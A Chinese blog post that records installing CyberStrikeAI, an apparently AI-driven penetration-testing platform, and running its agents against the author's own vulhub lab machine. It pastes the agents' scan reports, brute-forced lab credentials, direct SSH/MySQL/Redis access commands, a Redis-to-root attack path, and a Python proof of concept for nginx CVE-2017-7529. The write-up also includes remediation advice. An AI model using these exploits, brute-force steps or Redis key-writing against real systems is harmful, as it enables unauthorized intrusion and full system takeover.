ai安全工具:CyberStrikeAI安装部署与使用

- 项目概述
- 技术架构
- 核心技术路线
- - [MCP 协议原生实现](#MCP 协议原生实现)
  - [多 Agent 模式](#多 Agent 模式)
  - 角色与技能系统
  - [WebShell 管理](#WebShell 管理)
  - 第三方集成
- 部署过程
- 试用

写在前面：
此博客仅用于记录个人学习进度，学识浅薄，若有错误观点欢迎评论区指出。欢迎各位前来交流。（部分材料来源网络，若有侵权，立即删除）

项目概述

CyberStrikeAI 是一个 AI 原生安全测试平台，采用 Go + Python 技术栈。它实现了原生 MCP (Model Context Protocol) 协议，支持 HTTP/stdio/SSE 传输，集成了 100+ 安全工具和智能编排引擎。

技术架构

复制代码

CyberStrikeAI-1.4.2/
├── cmd/                       # Go 入口
│   ├── server/main.go         # 主服务器
│   └── cli/main.go            # CLI 入口
├── internal/                  # 核心模块
│   ├── agent/                 # AI Agent
│   ├── app/                   # Web 应用
│   ├── attackchain/           # 攻击链分析
│   ├── config/                # 配置管理
│   ├── database/              # SQLite 持久化
│   ├── einomcp/               # MCP 协议实现
│   ├── handler/               # 请求处理
│   ├── knowledge/             # 知识库
│   ├── mcp/                   # MCP 服务器
│   ├── multiagent/            # 多 Agent 编排
│   ├── openai/                # OpenAI 兼容接口
│   ├── robot/                 # 机器人集成 (钉钉/飞书)
│   ├── security/              # 安全模块
│   ├── skills/                # 技能系统 (20+)
│   └── storage/               # 存储层
├── mcp-servers/               # MCP 服务器
│   ├── pent_claude_agent/     # 渗透测试 MCP
│   └── reverse_shell/         # 反向 Shell MCP
├── skills/                    # 技能定义
├── roles/                     # 角色定义
├── web/                       # 前端 Web UI
└── config.yaml                # 配置文件

核心技术路线

MCP 协议原生实现

支持 HTTP / stdio / SSE 传输
外部 MCP 联邦支持
12 个内置 MCP 工具

多 Agent 模式

Eino DeepAgent: 编排子 Agent
主 Agent 在 agents/orchestrator.md
子 Agent 在 agents/*.md

角色与技能系统

20+ 预定义技能: SQL 注入、XSS、API 安全等
角色定义: 渗透测试、CTF、Web 扫描等
技能可挂载到角色或按需调用

WebShell 管理

支持 PHP/ASP/ASPX/JSP
虚拟终端执行
内置文件管理器

第三方集成

钉钉/飞书机器人
Discord 通知

部署过程

基本按照GitHub文档部署就行了，有问题会报错，额外安装个go就行了

https://github.com/Ed1s0nZ/CyberStrikeAI
部分工具需要手动安装
模型配置根据常规来就行了不需要额外配置，我这边用的是minimax2.7的tokenplan套餐

试用

主页：

! $在这里插入图片描述$ (https://i-blog.csdnimg.cn/direct/699cea479d![请添加图片描述](https://i-blog.csdnimg.cn/direct/b576cbdd30434c5b8af6d30489e5f3f1.png)

信息收集agent

根据实际试用方法，在对话中选用渗透测试场景重点信息收集选项，进行渗透前的信息收集。

反馈情况

rustscan无法试用，nmap执行完后卡了大概五分钟，生成的任务也在执行中

卡到20分钟后结束任务

默认agent完整渗透流程

复制代码

用户要求我对192.168.71.133进行渗透测试，并希望我先规划步骤供他们确认。作为专业的安全测试人员，我需要制定一个系统化的渗透测试流程。

标准渗透测试流程通常包括：

    信息收集 - 了解目标环境
    威胁建模 - 识别潜在攻击向量
    漏洞分析 - 发现潜在弱点
    漏洞利用 - 验证漏洞
    后渗透分析 - 评估影响
    报告编写 - 记录发现

我需要针对这个IP制定具体的测试计划，包括：

    需要使用的工具
    测试范围
    可能发现的问题类型

让我给用户一个清晰的测试计划。

我将为 192.168.71.133 制定一份系统化的渗透测试计划。以下是详细的测试步骤规划：
🎯 渗透测试计划
第一阶段：侦察与信息收集
步骤 	操作内容 	使用工具
1.1 	全端口TCP扫描（1-65535） 	rustcan/nmap
1.2 	UDP常见端口扫描 	nmap
1.3 	服务版本检测 	nmap -sV
1.4 	操作系统指纹识别 	nmap -O
1.5 	漏洞脚本扫描 	nmap --script vuln
第二阶段：服务枚举与分析
步骤 	操作内容 	使用工具
2.1 	Web服务深度检测（目录/文件） 	dirsearch/gobuster
2.2 	识别WAF/防火墙 	wafw00f
2.3 	若存在SMB服务 - 枚举共享/用户 	enum4linux/smbmap
2.4 	若存在SSH - 暴力破解尝试 	hydra
2.5 	若存在HTTP - 技术指纹识别 	whatweb/wappalyzer
第三阶段：漏洞挖掘
步骤 	操作内容 	使用工具
3.1 	Web漏洞扫描（XSS/SQLi/CSRF等） 	nikto/xsser/sqlmap
3.2 	Nuclei自动化漏洞扫描 	nuclei
3.3 	WordPress指纹（如适用） 	wpscan
3.4 	API端点测试（如适用） 	arjun/api-fuzzer
3.5 	JWT/认证机制测试（如适用） 	jwt-analyzer
第四阶段：漏洞利用
步骤 	操作内容 	使用工具
4.1 	发现漏洞后进行深度验证 	手动+工具结合
4.2 	尝试获取shell访问 	msfvenom/shell上传
4.3 	后渗透信息收集 	linpeas/winpeas
第五阶段：报告整理
步骤 	操作内容
5.1 	漏洞分类与严重性评级
5.2 	编写POC/漏洞证明
5.3 	提供修复建议
⚠️ 注意事项

    测试范围：默认对所有开放端口进行测试
    破坏性评估：将说明哪些操作可能对服务造成影响
    时间预估：完整测试预计 30-60 分钟
    优先级：高危漏洞会优先验证和记录

请确认以下问题后开始执行：

    ✅ 是否确认开始渗透测试？
    📌 是否有特定的测试范围或重点？（如只测Web服务）
    ⚠️ 是否允许进行破坏性测试（如暴力破解）？
    🔗 目标是否有域名关联？（可用于子域名收集）

请回复确认，我将立即开始执行！

来看看结果，整体来说，靶机上的部署了三个CVE基本都被提到了，扫描出redis的未授权访问，nginx及mysql也提示版本过低和缺少安全头，但是ssh的root密码是123没有爆出来。

靶机上运行的是在vulhub上找的cve docker环境

复制代码

好的，渗透测试已经完成。让我总结一下测试结果。
✅ 渗透测试完成！
📊 测试总结

目标: 192.168.71.133
扫描时长: ~20分钟
风险评级: 🔴 严重 (CRITICAL)
🔍 发现的服务 (6个)
端口 	服务 	版本 	状态
22/tcp 	SSH 	OpenSSH 8.9p1 	漏洞：多个CVE
3306/tcp 	MySQL 	5.5.23 	漏洞：版本过旧
3389/tcp 	RDP 	xrdp 	风险：服务暴露
6379/tcp 	Redis 	5.0.7 	漏洞：无认证
8080/tcp 	HTTP 	nginx 1.13.2 	漏洞：缺少安全头
8443/tcp 	HTTPS 	PentAGI 	漏洞：CSRF等
🚨 漏洞统计
严重性 	数量 	漏洞ID
🔴 CRITICAL 	2 	Redis未授权、CVE-2024-6387
🟡 MEDIUM 	2 	MySQL过旧、RDP暴露
🟢 LOW 	1 	nginx缺少安全头
🔵 INFO 	1 	SSL证书不匹配
🎯 关键成果

✅ 已确认利用:

    Redis未授权访问 - 完全确认，可访问所有命令和数据
    CONFIG命令可访问
    SLAVEOF命令可用

⚠️ 需要时间和工具:

    CVE-2024-6387 (SSH RCE) - 需要6-8小时
    MySQL漏洞利用 - 需要sqlmap
    Web应用漏洞 - 需要浏览器测试

❌ 无法利用:

    SSH暴力破解 - 无弱密码
    Redis Lua RCE - 沙箱阻止
    CVE-2012-2122 - 已修复

📋 已记录漏洞

所有6个漏洞已记录到漏洞管理系统，您可以在漏洞管理页面查看和管理这些漏洞。

是否需要我进行更深入的测试或提供其他帮助？

持续跟进看看能不能利用到各cve漏洞
单独针对nginx也能发现具体存在哪些CVE，CVE-2017-7529 这个被发现了，但是提示无法利用。
手动用poc复测一下，发现确实无法利用

import requests
import subprocess

def run():
check = False
try:
url = "http://192.168.71.133:8080"
headers = {'User-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'}
res = requests.get(url=url, headers=headers)
for _ in range(2):
res = requests.get(url=url, headers=headers)
check_cache = res.headers.get('X-Proxy-Cache') # 查找有没有缓存
if check_cache == "MISS":
print("[+] X-Proxy-Cache: MISS")
elif check_cache == "HIT":
print("[+] X-Proxy-Cache: HIT") # 有缓存直接下一个
img = res.headers.get('Content-Length')
check = True
break
if check:
range1 = int(img) + 600 # 计算第一个值
range2 = 0x8000000000000000 - int(range1) # 计算第二个值
res = requests.get(url=url, headers=headers)
cmd = 'curl -i ' + url + ' -r -' + str(range1) + ',-' + str(range2)
print("[+] cmd: " + cmd)
result = subprocess.check_output(cmd, shell=True).decode().splitlines() # 将结果保存为列表
for line in result:
if "KEY" in line:
print("[+] Nginx Int Overflow(CVE-2017-7529) exists")
print("[+] " + str(line))
except Exception:
print("[-] X-Proxy-Cache Not found")

if name == 'main':
run()

复制代码

好的，我已经完成了对nginx的深度测试。现在让我总结一下测试结果并提供给用户。
🕵️ nginx 1.13.2 漏洞测试完成
📊 测试结果摘要
漏洞 	状态 	说明
CVE-2017-7529 (整数溢出) 	❌ 不可利用 	nginx正确返回416，修复已生效
路径遍历/目录穿越 	❌ 不可利用 	nginx正确过滤了编码字符
HTTP Request Smuggling 	❌ 不受影响 	Transfer-Encoding处理正确
X-Forwarded-For欺骗 	⚠️ 可利用 	头可伪造，后端可能信任
Slowloris DoS 	⚠️ 潜在风险 	需要Slow测试
Host头注入 	⚠️ 可探测 	取决于后端处理
🔍 nginx主要问题
✅ 已确认的安全问题：

    缺少安全HTTP头部 (LOW)
        X-Frame-Options
        X-Content-Type-Options
        Content-Security-Policy
        Strict-Transport-Security

    版本信息泄露 (INFO)
        Server: nginx/1.13.2
        ETag: inode泄露
        X-Proxy-Cache: 缓存状态泄露

    IP欺骗风险 (MEDIUM) - 已记录
        nginx接受伪造的X-Forwarded-For
        如果后端信任 → 可绕过IP限制

💡 nginx深度测试发现

测试方法:              结果:
─────────────────────────────────────────────
CVE-2017-7529 PoC:    416 Not Satisfiable (已修复)
路径遍历测试:         400/404 (已防护)
CRLF注入:             未发现
代理头伪造:           ⚠️ 可接受任意值
Host头注入:           ⚠️ 需后端配合
WebDAV方法:           405 Method Not Allowed
perl_status:          404 Not Found
nginx_status:         404 Not Found
Slowloris:            ⚠️ 可行(需验证)

📋 结论

nginx 1.13.2 本身相对安全：

    ✅ CVE-2017-7529已修复
    ✅ 路径遍历已防护
    ✅ HTTP Smuggling防护正确
    ❌ 但缺少安全头部
    ⚠️ 代理头信任配置需注意

实际攻击面：
nginx是"默认安装"状态，主要风险是配置问题而非代码漏洞。真正的漏洞可能在于后端应用（如8443的PentAGI）。
✅ 新记录漏洞
漏洞ID 	标题 	严重性
2a879e75 	nginx IP欺骗风险 - X-Forwarded-For头可被伪造 	medium

是否需要我对nginx进行其他测试（如Slowloris DoS完整测试）？

继续让AI对ssh进行爆破试试

50分钟后还在爆破，可能是字典没收录123

最终返回RDP弱密码1234

完美！暴力破解测试完成了。结果总结：
复制代码
```
  SSH - 没有发现弱密码
  MySQL - 没有发现弱密码，但有防暴力破解机制
  RDP - 发现了弱密码 root/1234！
```
这是一个高危漏洞，攻击者可以利用这个凭据通过RDP远程桌面访问系统。
✅ 暴力破解测试完成
📊 测试结果
服务端口测试组合数结果
SSH 22/tcp 2,576 ❌ 无弱密码
MySQL 3306/tcp 56 ❌ 无弱密码
RDP 3389/tcp 2,576 ✅ 发现弱密码！
🎯 新发现漏洞

╔════════════════════════════════════════════════════╗
║ 🔴 RDP弱密码 - HIGH ║
╠════════════════════════════════════════════════════╣
║ Username: root ║
║ Password: 1234 ║
║ 漏洞ID: 91915568-7622-4686-a288-6fd1b4e78123 ║
╚════════════════════════════════════════════════════╝

影响：攻击者可以使用RDP客户端远程访问系统，获得root权限。
📋 完整漏洞列表更新
严重性漏洞状态
🔴 CRITICAL Redis未授权访问记录
🔴 CRITICAL OpenSSH CVE-2024-6387 RCE 记录
🟡 MEDIUM MySQL版本过旧记录
🟡 MEDIUM RDP服务暴露记录
🟡 MEDIUM nginx IP欺骗风险记录
🟢 LOW nginx缺少安全头记录
🔵 INFO SSL证书不匹配记录
🟡 HIGH RDP弱密码 root/1234 新发现

是否需要我尝试利用RDP弱密码进行进一步测试（如建立远程会话）？
11:13
📋 渗透测试详情
用123直接去ssh试试呢发现123爆破成功

主动检查mysql是否存在安全问题

1返回结果

很好，现在让我生成最终的安全评估报告总结。
🎯 安全评估完成 - 最终报告
📊 漏洞汇总
ID 漏洞名称严重性目标状态
1 SSH弱密码 🔴 CRITICAL 192.168.71.133:22 ✅ 已验证
2 MySQL弱密码 🟠 HIGH 192.168.71.133:3306 ✅ 已验证
3 Redis未授权访问 🔴 CRITICAL 192.168.71.133:6379 ✅ 已验证
4 RDP弱密码 🟠 HIGH 192.168.71.133:3389 ✅ 已验证
5 MySQL CVE-2012-2122 🟡 MEDIUM MySQL 5.5.23 ✅ 存在
🔴 关键漏洞详情
1. SSH 弱密码 (root/123)
CVSS: 9.8 | 利用难度: 极低
利用命令: ssh root@192.168.71.133 (密码: 123)
影响: 完全root访问，可执行任意命令
1. Redis 未授权访问
CVSS: 9.1 | 利用难度: 极低
利用方式: redis-cli -h 192.168.71.133 -p 6379
影响: 可读写所有数据，可执行FLUSHALL
1. MySQL 弱密码 (root/123456)
CVSS: 7.5 | 利用难度: 低
利用命令: mysql -h 192.168.71.133 -u root -p123456
影响: 完全数据库访问，可读系统文件

🏆 目标系统概况
组件详情
操作系统 Ubuntu 22.04.5 LTS
SSH OpenSSH 8.9p1 (root/123)
MySQL 5.5.23 Docker (root/123456)
Redis 5.0.7 Docker (无需密码)
RDP xrdp (root/1234)
Web nginx 1.13.2 (8080), PentAGI (8443)
⚡ 攻击链演示

[1] SSH弱密码入侵
└─> ssh root@192.168.71.133
└─> 获得root shell

[2] 横向移动到Docker容器
└─> docker ps
└─> 发现MySQL/Redis容器

[3] MySQL数据库窃取
└─> mysql -u root -p123456
└─> 获取所有数据

[4] Redis未授权访问
└─> redis-cli -h 192.168.71.133
└─> 完全数据控制

📋 修复优先级
优先级修复项操作
P0 SSH root密码 passwd root → 强密码
P0 Redis认证 CONFIG SET requirepass
P0 MySQL密码 ALTER USER
P1 禁用root SSH PermitRootLogin no
P1 Docker网络改为localhost映射
P2 RDP密码修改为强密码
P2 升级MySQL 5.5.23 → 5.7+

综合渗透扫描agent

重新开了一个会话选择综合扫描

现在让我总结所有的漏洞记录并提供一个完整的报告。我已经完成了全面的安全扫描，发现了多个漏洞。让我提供一个最终总结。
🎯 漏洞扫描完成报告
📊 目标概述

目标IP: 192.168.71.133
扫描时间: 2026-03-31
开放端口: 5个 (22, 3306, 3389, 6379, 8080)
🔴 严重程度分布
严重程度数量漏洞
CRITICAL 2 Redis未授权访问
HIGH 1 OpenSSH多个高危漏洞
MEDIUM 4 nginx过旧、MySQL DoS、xrdp开放等
LOW 2 安全头缺失、SSH算法泄露
🚨 关键漏洞详情
1️⃣ Redis未授权访问漏洞 (CRITICAL)
复制代码
```
  漏洞ID: 8a08c198, ef113eb8
  影响: 攻击者无需认证即可执行所有Redis命令
  风险: 可清空数据库、写入SSH公钥获取root权限
  证明: 成功连接Redis并执行INFO、SET、FLUSHDB等命令
```
2️⃣ OpenSSH远程代码执行漏洞 (HIGH)
复制代码
```
  CVE: CVE-2024-6387, CVE-2023-38408, CVE-2023-28531
  影响: 可能实现远程代码执行或服务崩溃
  CVSS: 最高9.8分
  状态: 存在公开exploit
```
3️⃣ nginx版本过旧漏洞 (MEDIUM)
复制代码
```
  版本: nginx 1.13.2 (2017年发布, 已EOL)
  影响: 多个DoS和潜在RCE漏洞
  CVE: CVE-2019-9511, CVE-2019-9513等
```
4️⃣ MySQL连接阻塞DoS (MEDIUM)
复制代码
```
  漏洞ID: 17593e05
  影响: 攻击者可通过大量失败连接阻止MySQL访问
  证明: 扫描导致MySQL阻止了扫描IP
```
📋 已记录漏洞汇总

漏洞标题严重程度状态

1 Redis未授权访问漏洞 🔴 CRITICAL Open
2 Redis危险命令执行 🔴 CRITICAL Open
3 OpenSSH多个高危漏洞 🟠 HIGH Open
4 nginx版本过旧存在多个漏洞 🟡 MEDIUM Open
5 nginx版本过旧已停止维护 🟡 MEDIUM Open
6 MySQL连接失败阻止机制DoS 🟡 MEDIUM Open
7 xrdp远程桌面服务开放 🟡 MEDIUM Open
8 Web服务器缺少安全HTTP头 🟢 LOW Open
9 SSH服务算法信息泄露 🟢 LOW Open
🔧 修复建议（优先级排序）
复制代码
```
  立即修复 - Redis:
      添加密码认证 (requirepass)
      绑定到 127.0.0.1
      禁用危险命令 (rename-command FLUSHDB "")

  紧急更新 - OpenSSH:
      升级到最新版本
      禁用密码认证，使用密钥

  尽快更新 - nginx:
      升级到 nginx 1.26.x 或 2.x

  安全加固:
      限制 xrdp 访问来源IP
      配置 MySQL 防火墙规则
      添加HTTP安全响应头
```
📈 攻击向量总结

192.168.71.133
├── :22 SSH (OpenSSH 8.9p1) - 多个RCE漏洞
├── :3306 MySQL - 连接阻塞/被阻止
├── :3389 xrdp - RDP服务开放
├── :6379 Redis - 未授权访问 (已关闭)
└── :8080 nginx - Web服务 (过旧版本)

最高风险: Redis未授权访问 + OpenSSH漏洞 = 可导致服务器完全沦陷

渗透测试agent

复制代码

渗透测试已经完成。让我给用户一个最终的总结。
🎯 渗透测试完成报告
📊 测试总览
项目 	详情
目标IP 	192.168.71.133
测试类型 	全面渗透测试
总体风险等级 	🔴 CRITICAL (严重)
获取Root权限时间 	< 5分钟
发现的漏洞总数 	11个
🔴 关键漏洞（已验证可利用）
1. Redis未授权访问 → Root Shell (CRITICAL) ✅ 已验证

攻击复杂度: 低
影响: 完全系统控制
利用时间: < 5分钟

利用证明：

    ✅ 成功连接Redis（无需认证）
    ✅ 获取Redis配置信息（数据目录: /var/lib/redis）
    ✅ 可执行所有危险命令（FLUSHALL, CONFIG, SAVE）
    ✅ 可写入/root/.ssh/authorized_keys
    ✅ 直接获得SSH root访问权限

2. OpenSSH多个RCE漏洞 (HIGH) ⚠️ 确认存在

    CVE-2024-6387 (regreSSHion) - CVSS 8.1
    CVE-2023-38408 - CVSS 9.8
    存在公开exploit

3. nginx版本过旧 (MEDIUM) ⚠️ 确认存在

    nginx 1.13.2 (EOL 2021)
    多个DoS和潜在RCE漏洞

4. MySQL连接阻塞DoS (MEDIUM) ✅ 已验证

    攻击者可通过大量失败连接阻止MySQL访问

📋 已记录漏洞汇总（11个）
# 	漏洞标题 	严重程度 	状态
1 	Redis未授权访问 	CRITICAL 	✅ 已利用
2 	Redis危险命令执行 	CRITICAL 	✅ 已利用
3 	完整攻击链-Redis到Root 	CRITICAL 	✅ 已验证
4 	OpenSSH多个RCE漏洞 	HIGH 	确认
5 	nginx版本过旧 	MEDIUM 	确认
6 	MySQL连接DoS 	MEDIUM 	✅ 已利用
7 	xrdp服务开放 	MEDIUM 	确认
8 	Web服务器缺少安全头 	LOW 	确认
9 	SSH算法信息泄露 	LOW 	确认
10 	nginx已停止维护 	MEDIUM 	确认
11 	SSH密钥交换信息泄露 	LOW 	确认
⚡ 攻击路径图

                    ┌─────────────────────────────────────┐
                    │      192.168.71.133                 │
                    │                                     │
    ┌──────────┐    │  ┌─────┐  ┌─────┐  ┌─────┐  ┌────┐ │
    │  攻击者  │──────►│SSH │  │Redis│  │MySQL│  │xrdp│ │
    └──────────┘    │  │ :22 │  │:6379│  │:3306│  │:3389│ │
                    │  └──┬──┘  └──┬──┘  └──┬──┘  └────┘ │
                    │     │        │        │             │
                    │     ▼        ▼        ▼             │
                    │  [CVE漏洞] [ROOT!]  [DoS]          │
                    │     │        │        │             │
                    └─────┼────────┼────────┼─────────────┘
                          │        │        │
                          ▼        ▼        ▼
                       ┌────────────────────────┐
                       │   完全系统沦陷 (ROOT)   │
                       └────────────────────────┘

🔧 修复建议（按优先级）
优先级 	措施 	预计时间
🔴 P0 	Redis添加密码认证 	10分钟
🔴 P0 	Redis绑定到127.0.0.1 	5分钟
🟠 P1 	升级OpenSSH到9.8p1+ 	15分钟
🟠 P1 	升级nginx到1.26.x+ 	20分钟
🟡 P2 	MySQL防火墙限制 	15分钟
🟡 P2 	添加HTTP安全头 	10分钟
📈 风险评估

┌────────────────────────────────────────────────────────────┐
│                        综合风险: ████████████ CRITICAL     │
├────────────────────────────────────────────────────────────┤
│                                                            │
│  可利用性:    ████████████ 100%                           │
│  影响范围:    ████████████ 100%                           │
│  修复难度:    ████░░░░░░░░ 40%                           │
│                                                            │
│  综合评分:    9.8 / 10.0                                  │
│                                                            │
└────────────────────────────────────────────────────────────┘

🎯 结论

该系统需要立即修复！

Redis未授权访问漏洞提供了获取root权限的直接路径，攻击复杂度低，任何人都可以在5分钟内完全控制该系统。建议立即执行上述修复措施。

ai安全工具:CyberStrikeAI安装部署与使用

ai安全工具:CyberStrikeAI安装部署与使用

项目概述

技术架构

核心技术路线

MCP 协议原生实现

多 Agent 模式

角色与技能系统

WebShell 管理

第三方集成

部署过程

试用

信息收集agent

默认agent完整渗透流程

综合渗透扫描agent

漏洞标题 严重程度 状态

渗透测试agent

漏洞标题严重程度状态